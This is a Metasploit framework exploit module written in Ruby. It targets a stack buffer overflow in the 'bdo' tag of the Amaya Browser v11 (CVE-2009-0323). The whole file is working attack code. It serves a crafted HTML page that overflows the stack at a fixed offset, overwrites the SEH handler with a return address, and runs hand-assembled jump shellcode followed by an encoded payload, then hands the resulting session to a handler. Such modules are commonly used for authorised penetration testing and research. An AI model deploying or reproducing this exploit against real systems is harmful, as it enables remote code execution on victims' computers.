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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = NormalRanking
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  include Msf::Exploit::Remote::HttpServer::HTML
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  include Msf::Exploit::Remote::Seh
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'           => "Amaya Browser v11.0 'bdo' Tag Overflow",
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      'Description'    => %q{
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          This module exploits a stack buffer overflow in the Amaya v11 Browser.
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          By sending an overly long string to the "bdo"
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          tag, an attacker may be able to execute arbitrary code.
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      },
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      'License'        => MSF_LICENSE,
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      'Author'         => [ 'dookie, original exploit by Rob Carter' ],
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      'References'     =>
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        [
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          [ 'CVE', '2009-0323' ],
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          [ 'OSVDB', '55721' ],
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          [ 'BID', '33046' ],
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          [ 'BID', '33047' ]
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        ],
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      'DefaultOptions' =>
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        {
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          'EXITFUNC' => 'process',
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        },
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      'Payload'        =>
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        {
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          'Space'         => 970,
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          'BadChars'      => "\x00",
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          'StackAdjustment' => -3500,
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        },
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      'Platform'       => 'win',
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      'Targets'        =>
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        [
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          [ 'Amaya Browser v11',     { 'Offset' => 6889, 'Ret' => 0x02101034 } ], # wxmsw28u_core_vc_custom.dll
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        ],
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      'DisclosureDate' => '2009-01-28',
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      'DefaultTarget'  => 0))
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  end
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  def on_request_uri(cli, request)
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    # Re-generate the payload
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    return if ((p = regenerate_payload(cli)) == nil)
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    # Set the exploit buffer
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    sploit = "<bdo dir=\""
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    sploit += rand_text_alpha(6889)
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    sploit += "\x74\x06\x41\x41"
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    sploit += [target.ret].pack('V')
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    sploit += "\x68\x7f\x01\x01\x7f"   # push 7F01017F
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    sploit += "\x58"		   # pop EAX
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    sploit += "\x2d\x18\x69\x45\x7d"   # sub EAX, 7A7A0857
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    sploit += "\x50"		   # push EAX
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    sploit += "\xc3"		   # RETN
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    sploit += make_nops(100)
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    sploit += payload.encoded
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    sploit += make_nops(970 - payload.encoded.length)
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    sploit += "\">pwned!</bdo>"
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    print_status("Sending #{self.name}")
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    # Transmit the response to the client
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    send_response_html(cli, sploit)
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    # Handle the payload
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    handler(cli)
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  end
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end
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